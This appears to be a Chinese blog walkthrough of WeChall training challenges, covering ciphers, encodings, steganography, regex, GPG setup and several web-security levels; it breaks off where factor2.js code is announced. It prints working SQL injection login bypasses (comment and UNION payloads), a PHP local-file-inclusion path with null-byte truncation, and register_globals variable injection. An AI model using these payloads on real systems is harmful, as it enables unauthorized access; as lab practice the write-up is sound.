赞
踩
第一题很简单,获取藏在网页源代码中的密码。F12
查看网页中的注释即可找到答案:
这张图片使用了简单的图片隐写术。首先右键图片,将其保存到本地,然后使用任意十六进制编辑器打开即可找到密码。我使用的软件是ImHex:
这串字符串是凯撒密码。可以用以下python脚本来枚举所有可能的明文:
def caesar_decrypt(ciphertext, shift):
plaintext = ""
for c in ciphertext:
if c.isalpha():
c = chr((ord(c) - shift - 65) % 26 + 65)
plaintext += c
return plaintext
ciphertext = "BPM YCQKS JZWEV NWF RCUXA WDMZ BPM TIHG LWO WN KIMAIZ IVL GWCZ CVQYCM AWTCBQWV QA WIXLWWPIXZPK"
for shift in range(26):
print(f"shift={shift}: {caesar_decrypt(ciphertext, shift)}")
运行结果:
shift=8
时文字是有意义的,密码是OAPDOOHAPRHC
。
这关的主题是robots.txt
。访问一下wechll的robots.txt:
再访问一下robots.txt
中的这个链接https://www.wechall.net/challenge/training/www/robots/T0PS3CR3T即可完成挑战。
把这些数字转换成对应的字符即可,可以使用以下python脚本:
numbers = [84, 104, 101, 32, 115, 111, 108, 117, 116, 105, 111, 110, 32, 105, 115, 58, 32, 111, 100, 104, 108, 100, 111, 103, 103, 98, 111, 110, 97]
for number in numbers:
print(chr(number), end='')
运行结果:The solution is: odhldoggbona
,成功找到密码。
这个字符串使用了URL编码。我的方法是按F12
打开控制台,然后使用javascript
的decodeURIComponent
函数来解码:
然后访问一下这个链接https://www.wechall.net/challenge/training/encodings/url/saw_lotion.php?p=lbcferphbadg&cid=52#password=fibre_optics即可完成挑战。
我们先直接访问这个链接试试:
看来不对。再看看这个链接,格式很像是wechall的一个地址。我们把make.love.not.war.com
换成wechall.net
再访问一下:
提示说我们必须向make.love.not.war.com
这个域名发起请求。那么我们的目的就显而易见了:请求https://make.love.not.war.com/challenge/training/net/nodns/etc/hosts.php这个网址,但是却要访问https://www.wechall.net/challenge/training/net/nodns/etc/hosts.php。出题人的意思是让我们改hosts文件。我们可以在hosts文件中新增一条记录:
5.44.104.158 make.love.no.war.com
其中5.44.104.158
是wechll.net
的ip,windows可以用nslookup wechall.com
查看指定网址的ip。之后使用ipconfig /flushdns
命令刷新本机的DNS缓存,可能还需要刷新一下浏览器的缓存(有的浏览器比较特别,无论怎么折腾它就是不愿意用hosts中的ip)。之后再访问https://make.love.not.war.com/challenge/training/net/nodns/etc/hosts.php即可,但是会提示说需要登录,因为域名变了,之前的登录信息就失效了,可以先访问https://make.love.not.war.com登录一下再去访问上面的网址。
另一种方法是使用curl
,无序修改hosts,而是修改headers中的Host来达到目的:
curl -s -0 -v -H 'Host: make.love.not.war.com' -H 'Cookie: WC=你的Cookie' http://www.wechall.net/challenge/training/net/nodns/etc/hosts.php?ajax=1
题目翻译:
你的任务很简单:
找到大于100万的前两个素数,它们的独立数字和也是素数。
以23为例,它是一个素数,其数字和5也是素数。
密码是两个数字的连接,
示例:如果第一个数字是1,234,567
第二个是8,765,432,
你的密码就是12345678765432。
可以使用以下python脚本来解题:
def is_prime(n): if n <= 1: return False for i in range(2, int(n ** 0.5) + 1): if n % i == 0: return False return True def sum_of_digits(n): sum = 0 while n > 0: sum += n % 10 n //= 10 return sum def main(): # 从1,000,001开始 n = 1000001 # 已找到的符合要求的素数 count = 0 # 找两个符合要求的素数 while count < 2: if is_prime(n): if is_prime(sum_of_digits(n)): print(n) count += 1 n += 1 main()
运行结果:
1000033
1000037
那么10000331000037
就是本题答案。这道题只需要遍历37个数。
ps:这道题有个小bug,1不是素数,但在本题中被视为素数。
这是一道关于编码的题。题目提示语言是英语,那么很有可能用的是ASCII码。每个字符的ASCII码是由7个二进制位组成的。我一开始做题的时候下意识地觉得每8个二进制位是一组,卡了好久才反应过来。
我们打开作者提供的软件,把这串0和1复制进去,BitsPerBlock
填7
,选择Binary->Binary Format
格式化字符串:
然后再选择Binary->Binary To Ascii
即可找到密码:easystarter
。
题目要求我们访问一个链接,该链接会返回一个字符串,以这个字符串作为answer
参数访问第二个链接即可过关。访问第一个链接时需要带上Cookie:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-kg6PfUlL-1673956330983)(D:\Documents\xazl\articles\wechall靶场training系列通关记录\assets\image-20230109130724153.png)]
以下是使用python的解法。先用requests.get
访问第一个链接,然后直接在浏览器中打开第二个链接:
import requests
import webbrowser
url1 = "http://www.wechall.net/challenge/training/programming1/index.php?action=request"
url2 = "http://www.wechall.net/challenge/training/programming1/index.php?answer="
c = {"WC": "你的Cookie"}
key = requests.get(url1,cookies=c).text
print(key)
webbrowser.open(url2+key)
这一题有好几个level。Level 1的要求是写一个匹配空字符串的正则表达式,答案如下:
/^$/
^
:匹配字符串的开头。$
:匹配字符串的结尾。所以,这个正则表达式只会匹配空字符串,因为空字符串没有开头也没有结尾。
Level 2,让我们匹配wechall
这个字符串,很简单:
/^wechall$/
Level 3,需要让我们匹配符号要求的文件名。这关还有一个隐藏要求,就是不能捕获任何字符串,所以要使用非捕获组的语法?:
,答案如下:
/^wechall4?\.(?:jpg|gif|tiff|bmp|png)$/
?
:前一个元字符是可选的。此处4
是可选的。?:
:可以在组内匹配字符,但是不将匹配的字符捕获为组。】|
:表示“或”的意思。此处有多个文件名后缀都是符合要求的。\.
:匹配一个点.
。因为在正则表达式中.
表示匹配任意字符,所以需要加一个反斜杠来转义。Level 4,要求仅捕获文件名,加一对括号即可。答案如下:
/^(wechall4?)\.(?:jpg|gif|tiff|bmp|png)$/
至此成功过关。
这一关涉及到PHP的LFI(本地文件包含)漏洞。该漏洞允许攻击者在服务器上包含本地文件。根据题目要求,我们需要包含../solution.php
这个文件。../solution.php
的地址为:https://www.wechall.net/challenge/training/php/lfi/solution.php。当前网页的地址为:https://www.wechall.net/challenge/training/php/lfi/up/index.php。
通过观察可以发现,solution.php
在当前目录的父目录的父目录,即../../solution.php
。
在题目给出的三个链接中随便挑一个点一下,发现URL中有一个file参数,这个参数就是包含的文件。我们只需想办法包含solution.php
这个文件即可过关。
再观察一下源代码:
$filename = 'pages/'.(isset($_GET["file"])?$_GET["file"]:"welcome").'.html';
include $filename
文件名后面还会拼接一个.html
。这意味着如果我们直接传入../../solution.php
,$filename
会变成../../solution.php.html
。这时就需要使用空字节%00
了。在PHP中,当字符串包含空字节时,它会在空字节处截断字符串。所以我们要访问的网址应该是:https://www.wechall.net/challenge/training/php/lfi/up/index.php?file=…/…/solution.php%00。访问后成功过关。
这题使用了transposition ciphers(转置密码)。本题需要一点英语水平,通过观察这个字符串,可以看出:
oWdnreuf
很像是Wonderful
Wonderful
后面很有可能跟着一个You
,因为lY uoc
包含You
中的字母eemssga
很像是message
password
或solution
之类的词(参考之前的题),而eoyrup sawsro don:wn
里看起来像是藏了个password
,并且:
后面就是要找的密码。然后再对这个字符串进行分析,发现这个字符串是把每两位字符两两交换了(第1个字符和第2个字符交换,第3个字符和第4个字符交换…),于是可以编写如下python代码来解题:
secret = "oWdnreuf.lY uoc nar ae dht eemssga eaw yebttrew eh nht eelttre sra enic roertco drre . Ihtni koy uowlu dilekt oes eoyrup sawsro don:wp foglemmdsr.l"
text = [secret[i+1] + secret[i] for i in range(0, len(secret), 2)]
print("".join(text))
运行结果:
Wonderful. You can read the message way better when the letters are in correct order. I think you would like to see your password now: poflgmedmrsl.
成功找到密码poflgmedmrsl
。
这一关使用的加密方式是simple substitution(简单置换密码)。在本题中,每个字母都被替换为另一个字母,我们只需找到这种对应关系即可过关。
根据之前的经验,字符串中大概率会有SOLUTION
或者PASSWORD
。SOLUTION
第2个和倒数第2个字母相同,长度为8
。PASSWORD
第3个和第4个字母相同,长度为8
。我们在密文中可以找到以下单词:FCXTIACP
,符合SOLUTION
的特点。可以先进行替换再进一步观察。
这里我使用了工具CyberChef,食谱选择Substitute:
观察输出结果,出现了以下单词:TRV
,TRIS
,LITTLV
。所以把R
替换为H
,V
替换为E
。
GOUZ SOLUTION QEG IS
中SOLUTION
和IS
应该已经是正确的了,那么根据语法和语境大胆猜测GOUZ
是YOUR
,QEG
是KEY
:
HYRW
看起来像是HARD
:
句意逐渐明朗。BAN
是CAN
,BHALLENUE
是CHALLENGE
,SAS
是WAS
:
从语义上分析DY KRIEND
是MY FRIEND
:
IMHRESSED
是IMPRESSED
,JERY
是VERY
:
BY THE ALMIGHTY GOD
是一种用来表示强调语气的表达方式。所以开头的LY
是BY
:
至此终于获得了密码:RAISMLPPOGSI
。
本题是凯撒密码升级版。这次我使用javascript来解题,直接在浏览器的控制台里计算:
let str_list = `55 7D 7D 72 20 78 7D 70 3A 20 07 7D 03 20 01 7D 7A 04 73 72 20 7D 7C 73 20 7B 7D 00 73 20 71 76 6F 7A 7A 73 7C 75 73 20 77 7C 20 07 7D 03 00 20 78 7D 03 00 7C 73 07 3C 20 62 76 77 01 20 7D 7C 73 20 05 6F 01 20 74 6F 77 00 7A 07 20 73 6F 01 07 20 02 7D 20 71 00 6F 71 79 3C 20 65 6F 01 7C 35 02 20 77 02 4D 20 3F 40 46 20 79 73 07 01 20 77 01 20 6F 20 7F 03 77 02 73 20 01 7B 6F 7A 7A 20 79 73 07 01 7E 6F 71 73 3A 20 01 7D 20 77 02 20 01 76 7D 03 7A 72 7C 35 02 20 76 6F 04 73 20 02 6F 79 73 7C 20 07 7D 03 20 02 7D 7D 20 7A 7D 7C 75 20 02 7D 20 72 73 71 00 07 7E 02 20 02 76 77 01 20 7B 73 01 01 6F 75 73 3C 20 65 73 7A 7A 20 72 7D 7C 73 3A 20 07 7D 03 00 20 01 7D 7A 03 02 77 7D 7C 20 77 01 20 01 73 74 74 72 74 7C 77 77 7E 72 7E 3C`.split(/[ ]|\n/); // 分割字符串 let num_list = str_list.map(s => parseInt(s, 16)); // 转换为10进制整数 // 以 shift 为偏移量解码 function caesar_decrypt(shift) { return String.fromCharCode(...num_list.map(num => (num + shift) % 128)); } // 遍历 for (let i = 1; i < 128; i++) { console.log(`shift = ${i}, str =`, caesar_decrypt(i)); }
打印出来的结果千奇百怪,搜索solution
直接定位到答案seffdfniipdp
:
本题使用了有向图加密,即一个字符被加密成了两个字母,我们需要找到对应关系才能解除明文。老办法,先找solution
这个单词,因为一个字符变成了两个字母,密文中的这个单词长度应该为16
,但是却没有长度为16
的单词。我想到可能是标点符号的原因,比如单词后面还有个冒号:
,变成了solution:
,所以长度是18
。这样的话第3、4个字母应该和倒数第6、5个字符相同。可以找到一个符合要求的单词:ygqfzuplgxouqfthtt
。接下来先进行第一轮替换,以下是映射关系:
s
o
l
u
t
i
o
n
:
此外,不难猜出结尾的hg
是句号.
。为了方便替换,我写了个python脚本:
secret = "epqfthzszypwgxplzupwgxouqfthyghg agqfpl vwyshwzyubjygxysvw gxyvouyg vrysygygpwzsys ygplhwhwysygygglplzuzuubhg kqpwyg thqfgx gxqfqf vwouglglouhwplzugx ysougxyvyszyho obpwyg ougxrj kqyszuzuho zsqfqfvw ijqfcohg tfthgxyszy gxyvouyg vtysubobqfzyvw pwyg ygqfzuplgxouqfthtt oucozsvrzyvwjyysvryvvrpwhg" replace_dict = { 'yg': 's', 'qf': 'o', 'zu': 'l', 'pl': 'u', 'gx': 't', 'ou': 'i', 'qf': 'o', 'th': 'n', 'tt': ':', 'hg': '.' } # 分割单词 lst = secret.split(" ") # 把单词中的字母两两分割,并添加空格 lst2 = [] for i in range(len(lst)): for j in range(0, len(lst[i]), 2): lst2.append(lst[i][j:j+2]) lst2.append(" ") # 替换 for key, value in replace_dict.items(): lst2 = [lst2[i].replace(key, value) for i in range(len(lst2))] print(''.join(lst2))
之后如果我们需要添加新的替换内容,在replace_dict
添加一个键值对即可。第一轮替换结果如下:
eponzszypwtulpwtions. agou vwyshwzyubjytysvw tyvis vryssspwzsys suhwhwysssglullub. kqpws not too vwiglglihwult ysityvyszyho obpws itrj kqysllho zsoovw ijoco. tfntyszy tyvis vtysubobozyvw pws solution: icozsvrzyvwjyysvryvvrpw.
继续分析。此时我觉得solution
前面的pws
可能是is
,但替换后发现这样会在别处形成两个以is
结尾的三字母单词,再进一步分析发现语法上是不正确的,所以舍弃这种可能。
结合语境分析,开头的单词eponzszypwtulpwtions
很像congratulations
,加入以下四个映射关系后再替换下试试:
'ep': 'c',
'zs': 'g',
'zy': 'r',
'pw': 'a'
运行结果:
congratulations. agou vwyshwrubjytysvw tyvis vrysssagys suhwhwysssglullub. kqas not too vwiglglihwult ysityvysrho obas itrj kqysllho goovw ijoco. tfntysr tyvis vtysuboborvw as solution: icogvrrvwjyysvryvvra.
agou
像是you
,加入关系ag: y
再替换:
congratulations. you vwyshwrubjytysvw tyvis vrysssagys suhwhwysssglullub. kqas not too vwiglglihwult ysityvysrho obas itrj kqysllho goovw ijoco. tfntysr tyvis vtysuboborvw as solution: icogvrrvwjyysvryvvra.
tyvis
像是this
,加入关系yv: h
再替换:
congratulations. you vwyshwrubjytysvw this vrysssagys suhwhwysssglullub. kqas not too vwiglglihwult ysithysrho obas itrj kqysllho goovw ijoco. tfntysr this vtysuboborvw as solution: icogvrrvwjyysvrhvra.
goovw
看着只能是good
了,那后面那个单词极有可能是job
。加入关系vw: d, ij: j, co: b
再替换:
congratulations. you dyshwrubjytysd this vrysssagys suhwhwysssglullub. kqas not too diglglihwult ysithysrho obas itrj kqysllho good job. tfntysr this vtysubobord as solution: ibgvrrdjyysvrhvra.
diglglihwult
这个位置应该是形容词,像是difficult
。加入关系gl: f, hw: c
再替换:
congratulations. you dyscrubjytysd this vrysssagys succysssfullub. kqas not too difficult ysithysrho obas itrj kqysllho good job. tfntysr this vtysubobord as solution: ibgvrrdjyysvrhvra.
这时好几个单词都能分辨出来了。dyscrubjytysd
:decrypted
,vrysssagys
:message
,succysssfullub
:successfully
。加入关系后替换:
congratulations. you decrypted this message successfully. kqas not too difficult eitherho obas itrj kqellho good job. tfnter this vteyobord as solution: ibgmrdpemhma.
此时solution
已经浮出水面了:ibgmrdpemhma
。顺便一提,这句话的完整明文是:
congratulations. you decrypted this message successfully. was not too difficult either, was it? well, good job. enter this keyword as solution: ibgmrdpemhma.
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-kUT3Z306-1673956330989)(D:\Documents\xazl\articles\wechall靶场training系列通关记录\assets\image-20230109191032881.png)]
本题要求我们登录admin账户。查看代码可以找到以下SQL语句:
SELECT * FROM users WHERE username='$username' AND password='$password'
我们可以在username中输入admin' --
,使得SQL语句变为以下形式:
SELECT * FROM users WHERE username='admin' -- AND password='$password'
--
后面的内容是注释,被忽略。密码随便填。这样就成功地绕过了登录校验。
本题还有个彩蛋,假如你在username中输入admin' or 1=1 --
并登录,会提示:
这题在前一题的基础上加大了难度,我们看代码:
function auth2_onLogin(WC_Challenge $chall, $username, $password) { $db = auth2_db(); $password = md5($password); $query = "SELECT * FROM users WHERE username='$username'"; if (false === ($result = $db->queryFirst($query))) { echo GWF_HTML::error('Auth2', $chall->lang('err_unknown'), false); return false; } ############################# ### This is the new check ### if ($result['password'] !== $password) { echo GWF_HTML::error('Auth2', $chall->lang('err_password'), false); return false; } # End of the new code ### ############################# echo GWF_HTML::message('Auth2', $chall->lang('msg_welcome_back', array(htmlspecialchars($result['username']))), false); if (strtolower($result['username']) === 'admin') { $chall->onChallengeSolved(GWF_Session::getUserID()); } return true; }
这段代码首先通过SELECT * FROM users WHERE username='$username'
查询到$username
对应的密码,然后再比较查询到的密码和输入的密码的md5是否相符。所以前一题的方法就没用了。
代码的注释告诉了我们数据表的格式:
CREATE TABLE IF NOT EXISTS users (
userid INT(11) UNSIGNED AUTO_INCREMENT PRIMARY KEY,
username VARCHAR(32) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL,
password CHAR(32) CHARACTER SET ascii COLLATE ascii_bin NOT NULL
) ENGINE=myISAM;
为了能够通过密码校验,我们要自己构造一组满足要求的数据。需要用到UNION
操作符,UNION
用于合并两个或多个SELECT语句的结果集。我们可以构造如下payload:
Username: 123' union select 1, 'admin', '827ccb0eea8a706c4c34a16891f84e7b
Password: 12345
827ccb0eea8a706c4c34a16891f84e7b
是12345
的md5值。
这样代码中的SQL语句就变为了如下形式:
SELECT * FROM users WHERE username='123' union select 1, 'admin', '827ccb0eea8a706c4c34a16891f84e7b'
因为数据表中没有名为123
的用户,所以返回的只有我们构造的数据。骗过密码校验,成功过关。
payload也可以这么写,原理是相同的:
Username: ' union select 1,'admin',md5('1') #
Password: 1
这道题让我们搭建一个简单的服务器,并在服务器的/andywang425/andywang425.html
文件里写上一句话:My name is andywang425 and iChall.
。
这题要求的服务器地址是你登录wechall的地址。我家是没公网ip的,只能用云服务器。现在很多云服务器厂商是支持购买后几天无理由退款的,比如腾讯云。于是我上腾讯云买了一个月的2核2G轻量级服务器,为了方便登录wechall,系统镜像我选了Windows Server,花了60。用完之后退款,这60就能退到账户余额里去。
Python解法:创建文件/andywang425/andywang425.html
并写入内容,然后执行命令python -m http.server 80
。
Nodejs解法:需先安装express(npm install express
),创建文件www.js
写入以下内容,执行命令node www.js
:
const express = require('express')
const app = express()
app.get('/andywang425/andywang425.html', (req, res) => {
res.send('My name is andywang425 and iChall.')
})
app.listen(80, () => {
console.log('Listening on port 80')
})
服务器运行起来之后回到wechall,点一下按钮即可过关。
ps:后面还有一道同类型的题也需要用到云服务器
在这道题中,我们需要利用register globals默认开启的漏洞来登录admin账户。当register globals被设置为on时,表单中的数据,URL中的参数都作为全局变量被注入到代码中,带来安全隐患。先查看一下题目给出的代码,有一行代码很关键:
# EMULATE REGISTER GLOBALS = ON
foreach ($_GET as $k => $v) { $$k = $v; }
这行代码会遍历GET请求中的每个参数,把参数名作为全局变量名,把参数的值作为变量的值。比如GET参数如下:
?a=1&b=2
就会生成两个全局变量:
$a = 1
$b = 2
后面还有判定是否通过挑战的代码:
if (isset($login))
{
echo GWF_HTML::message('Register Globals', $chall->lang('msg_welcome_back', array(htmlspecialchars($login[0]), htmlspecialchars($login[1]))));
if (strtolower($login[0]) === 'admin') {
$chall->onChallengeSolved(GWF_Session::getUserID());
}
}
不难看出,当变量login[0]
的值为admin
时,挑战就通过了。因此我们需要在URL参数中加入login[0]=admin
,访问以下链接即可过关:https://www.wechall.net/challenge/training/php/globals/globals.php?login[0]=admin。
一道数学题。题目翻译:
这是数学挑战的第一个题。
您必须找出几何函数最短的解决方案(9个字符或更少)。
故事是这样的:
法老莫莫想要一个基于正方形的金字塔,其中所有的八个边都有相同的长度“a”。
请给他一个公式来计算给定边长的体积。
你的同事已经画了一个从正面看金字塔的草图:
示例公式:a^3/3sqrt(aa)
符号提示:sqrt()、a^2等。
首先,锥体的体积公式为:
V
=
1
3
S
h
V = \frac 13Sh
V=31Sh
其中,S
是底面积,h
是高度。由题意得:
S
=
a
2
h
=
2
2
a
S = a^2 \quad h= {\sqrt2 \over 2}a
S=a2h=22
a
代入后可得:
S
=
2
6
a
3
S = {\sqrt2 \over 6}a^3
S=62
a3
写成符合题目要求的公式:a^3*sqrt(2)/6
,长度为13,还得再缩减一下。首先用0.5次方代替平方根函数a^3*2^0.5/6
,长度为11。然后把六分之一放到根号里去a^3*(1/18)^0.5
,再使用-1次方代替分数a^3*18^-0.5
。最后把a^3
和18^-0.5
交换位置,同时去掉小数点前面的0
,得到答案18^-.5a^3
。
这题涉及到培根密码。我们来分别了解一下培根密码的加密与解密:
首先明文中的每个字母转换成一组五个的英文字母。转换表如下:
A/a | aaaaa | H/h | aabbb | O/o | abbba | V/v | babab |
---|---|---|---|---|---|---|---|
B/b | aaaab | I/i | abaaa | P/p | abbbb | W/w | babba |
C/c | aaaba | J/j | abaab | Q/q | baaaa | X/x | babbb |
D/d | aaabb | K/k | ababa | R/r | baaab | Y/y | bbaaa |
E/e | aabaa | L/l | ababb | S/s | baaba | Z/z | bbaab |
F/f | aabab | M/m | abbaa | T/t | baabb | ||
G/g | aabba | N/n | abbab | U/u | babaa |
例如明文“I LOVE YOU”,转换成ABAAAABABBABBBABABABAABAABBAAAABBBABABAA。这一步其实只是一个简单替换密码。
然后准备一条假信息,包含与密文相同长度的字母数。例如第一步的密文一共有40个字母,准备一条长度40(不包含空格)的假信息:Behind the mountain there are people to be found.
用两种不同的字体,重写假信息。比如正常字体表示A,粗体表示B,这其实就是一种隐写术。
密文: ABAAAABABBABBBABABABAABAABBAAAABBBABABAA
假信息:Behind the mountain there are people to be found.
重写的假信息:Behind the mountain there are people to be found.
解密时,将上述方法倒转:首先将假信息五个一组重新排列,字体一转成A,字体二转成B,然后再按照转换表翻译回明文。
例如密文:bAcon iS a MEaT prodUcT prePared frOm a pig and UsuALLy cUReD
五个一组重新排列:bAcon iSaMEaTpro dUcTp rePar edfrO mapig andUs uALLy cUReD
小写字母转换成A,大写字母转换成B:abaaa ababb abaaa ababa aabaa aaaab aaaaa aaaba abbba abbab
根据转换表每五个密文字母对应一个明文字母,得到明文:i like bacon。
回到题目,这里我使用CyberChef进行解密,食谱选择Bacon Cipher Decode,具体设置如图:
直接出答案,把X
看作是空格,密码是FGSIDMPLHCOE
。
这张图片使用了LSB隐写术。LSB(Least Significant Bit)隐写术是一种使用图像的最低有效位来隐藏信息的技术。保存题目中的图片到本地,然后去wechall的Downloads页面下载一个解密工具Stegsolve.jar,再用该工具打开图片。
点击下方的左和右按钮(方向键左右也行)可以调节不同的模式,我在Blue plane 3模式下发现了密码。
这一题要求我们为电子邮件设置gpg加密。gpg在ubuntu的所有发行版里都是默认安装的。这里我使用Ubuntu Server 22.04.1虚拟机来演示。
先使用gpg --gen-key
命令来生成密钥对:
root@andy:/home/andy/files# gpg --gen-key
然后根据提示输入姓名,email(记得是wechall用的邮箱),之后还会弹窗提示输入密码来保护私钥。这个密码不能忘记。
gpg (GnuPG) 2.2.27; Copyright (C) 2021 Free Software Foundation, Inc.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Note: Use "gpg --full-generate-key" for a full featured key generation dialog.
GnuPG needs to construct a user ID to identify your key.
Real name: Andywang
Email address: 邮箱@qq.com
You selected this USER-ID:
"Andywang <邮箱@qq.com>"
Change (N)ame, (E)mail, or (O)kay/(Q)uit? O
等一小会儿密钥对就生成好了:
We need to generate a lot of random bytes. It is a good idea to perform some other action (type on the keyboard, move the mouse, utilize the disks) during the prime generation; this gives the random number generator a better chance to gain enough entropy. We need to generate a lot of random bytes. It is a good idea to perform some other action (type on the keyboard, move the mouse, utilize the disks) during the prime generation; this gives the random number generator a better chance to gain enough entropy. gpg: key 063FF578C627CF78 marked as ultimately trusted gpg: revocation certificate stored as '/root/.gnupg/openpgp-revocs.d/623C8040A8EB5B59BC2CDD5A063FF578C627CF78.rev' public and secret key created and signed. pub rsa3072 2023-01-10 [SC] [expires: 2025-01-09] 623C8040A8EB5B59BC2CDD5A063FF578C627CF78 uid Andywang <邮箱@qq.com> sub rsa3072 2023-01-10 [E] [expires: 2025-01-09]
使用以下命令输出公钥gpg -a --export [uid]
,或者保存到文件中gpg -a -o pub.txt --export [uid]
。[uid]
处可以只填姓名(比如我就填Andywang
)。
把公钥填到wechall账户设置页面上(或者导入文件)
成功之后wechall会给你的邮箱发一封验证用的加密邮件:
需要调整一下格式,把邮件中的一些空格改为换行符(倒数第二行的那个空格不用改):
-----BEGIN PGP MESSAGE----- Version: GnuPG v2 hQGMA3KTmmIegXzLAQwAr5yfWO7CNz7Ra6sH4b9i1ElPUeHYDX5JryNE+pQaTeF1 jsRXNumDdzMlo+6o1I6jjCRf+lj1wtGIYgdBl2pn8yC4EwGBeEHZq7ZVPxP9OvEQ zlnCC1rL7ayN8xJqHv4a14vU1rhvsnXJFGJXdqe/cnGTF0gIHPvmDyU7hyTODqRi B1jiCseBXp2/aM+oVQH2Hk2Q6NcWztLeQ0DNY4KgBCBryqWeTxVKAdObKXjLoslh d5pZ5VZHU08wxX/g3QnwH37kvykYREt0kKEWtKCX+GOBrjMTLksygS/AqtwWoNJ/ otM8vQATBGObKE4svdBdq0vo9wMaPccl1WE/nQXIPJ45ovmP3zDzqOoqSOto//Xh umt67KUi1xGd4edhdWQNcZaVVxVGs/TgFfgKoULW30DFLbssUGqV8VYQp53Gcp82 BygippSq1nq5LY2NCjaTvys1S+orEvBD2FCRRrIf9ZbctT5K6iWApm0qVkCJiw4n zpjWuCWtaSz1t+OXByYM0sDZAcUdXVFciQu0jWwkMeXD+V8xjJVvGR1tydGpyKiW CRIYzvESG5fUSKuXtr+7yQm87HEdgnbn6j+mJKUA3N5OfOrvV0iQj1CC0EHeS5Ct T7TMQUXbtIIqQ0DNrd3LPXyblb0sDLaYMpyFd8hCeM9JYiQkyUmCIKKNN8yAkXEp w1b5kRyWmr3T6fyERkY3GVLg1hwy6asZB1UQbsxqJNFUSnwLOWJI2WjTyIgqyOX+ SoDAwtfs15MwQjUTeYhG1Lbl6OLCPXvHaQUd1nhlon+PoLdJuXsrElZ4gGYUiDoK l4XblYaPlISOLf2j++8YjD1H2BULeQrOXTYInqpg6/GwmdDTmFac2Nbk0SrcgAG3 bOoN/xdL4ojVXj9aB5zO6IvEFWpCykhaj34sZLYZXrmTVpXho/UTV43dvIRY5Qz1 uGXEI5gn5LgSQ50wgB3Foa5yUm6Aw/ewh8JOeXhDNtIpwvGpyn+6b81eeis2ikxk O84BeUyQQjAD2gZY/DmLCvDa6nXFeaLDxg/EH3A4HwZh++/vVzXqEWph/g== =xyVY -----END PGP MESSAGE-----
把修改好的信息保存到文件,然后把文件传回虚拟机里。用gpg -d [file]
命令解密:
root@andy:/home/andy/files# gpg -d message.txt gpg: encrypted with 3072-bit RSA key, ID 72939A621E817CCB, created 2023-01-10 "Andywang <邮箱@qq.com>" <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> </head> <body> Dear andywang425,<br /> <br /> You have decided to turn on gpg encryption for emails sent by this robot.<br /> To do so, follow the link below:<br /> <br /> <a href="https://www.wechall.net/index.php?mo=Account&me=SetupGPGKey&userid=12345&token=6388040A8EB5B69BC2CDD5A063CF578C627CF78">https://www.wechall.net/index.php?mo=Account&me=SetupGPGKey&userid=12345&token=638040A8EB5B69BC2CDD5A063CF578C627CF78</a><br /> <br /> Kind Regards,<br /> The WeChall staff </body> </html>
看起来是个html文件。我们用命令gpg -o temp.html -d [file]
保存解密内容到文件,然后用浏览器打开temp.html
并点击链接即可成功激活。
回到题目,点击按钮收到一封加密邮件,用同样的方式解密后就能得到答案:
题目翻译:
一位同事上传了一个奇怪的apache.conf来保护服务器,现在没有人可以再连接了。
他现在正在度假,但他说我们肯定可以连接到服务器上,因为所需的一切都可以在网上找到。
好吧,你的同事中没有人知道那个http是怎么回事以及如何连接,现在轮到你试一试了!
祝你好运!
apache.conf
的链接是https://www.wechall.net/challenge/space/auth_me/find_me/apache.conf,内容如下:
# BEGIN AUTH ME CHALLENGE <VirtualHost *:443> ServerName authme.wechall.net DocumentRoot /home/wechall/www/wc5/www GnuTLSEnable on GnuTLSCertificateFile /etc/pki_jungle/authme/certs/server.crt GnuTLSKeyFile /etc/pki_jungle/authme/private/server.key GnuTLSClientCAFile /etc/pki_jungle/authme/certs/client_bundle.crt GnuTLSPriorities NORMAL:!AES-256-CBC:%COMPAT GnuTLSClientVerify require <Directory "/home/wechall/www/wc5/www"> GnuTLSClientVerify require Options Indexes FollowSymLinks AllowOverride All </Directory> <Directory "/home/wechall/www/wc5/www/challenge/space"> GnuTLSClientVerify require Options Indexes FollowSymLinks AllowOverride None </Directory> AssignUserID wechall wechall ErrorLog /home/wechall/www/auth_me.errors.log CustomLog /home/wechall/www/auth_me.access.log combined </VirtualHost> # ENDOF AUTH ME CHALLENGE
这段 Apache 配置文件定义了一个名为authme
的虚拟主机,它将监听 HTTPS 连接并使用 GnuTLS 进行加密。
具体来说,它会监听端口 443 上的连接,并将请求转发到服务器上的 /home/wechall/www/wc5/www
目录。
GnuTLSEnable
表示启用GnuTLS
支持,GnuTLSCertificateFile
、GnuTLSKeyFile
和GnuTLSClientCAFile
指定了证书文件的位置,GnuTLSPriorities
指定了加密策略。GnuTLSClientVerify
属性设置为require
,表示客户端必须提供证书才能连接服务器。
<Directory>
标签用于指定特定目录的访问权限和选项。这里有两个<Directory>
标签,一个是/home/wechall/www/wc5/www
,另一个是/home/wechall/www/wc5/www/challenge/space
。第一个指定了允许在该目录中使用索引文件和跟随符号链接,允许重写所有的权限。第二个指定了禁止重写权限
AssignUserID
指定了文件和目录的所有者和组。ErrorLog
和CustomLog
指定了错误日志和访问日志的位置。
访问一下the box的链接https://authme.wechall.net/challenge/space/auth_me/www/index.php:
如果继续访问则会提示:此站点的连接不安全。authme.wechall.net未接受你的登录证书,或者可能未提供登陆证书。
由此可以猜测,我们需要安装一个SSL客户端证书才能访问该链接。apache.conf
有这么一项GnuTLSClientCAFile /etc/pki_jungle/authme/certs/client_bundle.crt
,client_bundle.crt
就是我们需要的证书。
那么去哪找呢?别忘了,apache.conf
的链接是https://www.wechall.net/challenge/space/auth_me/find_me/apache.conf。find_me
明显是提示,我们访问https://www.wechall.net/challenge/space/auth_me/find_me看看:
果然有东西,client.p12
是我们要找的证书(从文件大小上来看,它也正好是client.crt
和client.key
文件的大小之和)。下载这个证书,双击安装,所有配置保持默认即可。然后再次访问the box的链接,浏览器会提示你选择证书,选择刚刚安装的证书即可正常访问。至此顺利过关。
我们的目标是在这个网站上订购一篇特别的文章。首先我尝试了一些SQL注入来登录admin账户,没成功。后来发现其实有办法绕过登录。
此题有两种解法,第一种是自己提交一篇文章上去,然后订购自己提交的文章。另一张方法是找到作者留下的特别文章并订购。
先看一下这个网站用到的资源文件:
js文件中除了factor2.js
其它都是库文件,重点研究factor2.js
即可。以下是factor2.js
的代码(中文注释是我加的):
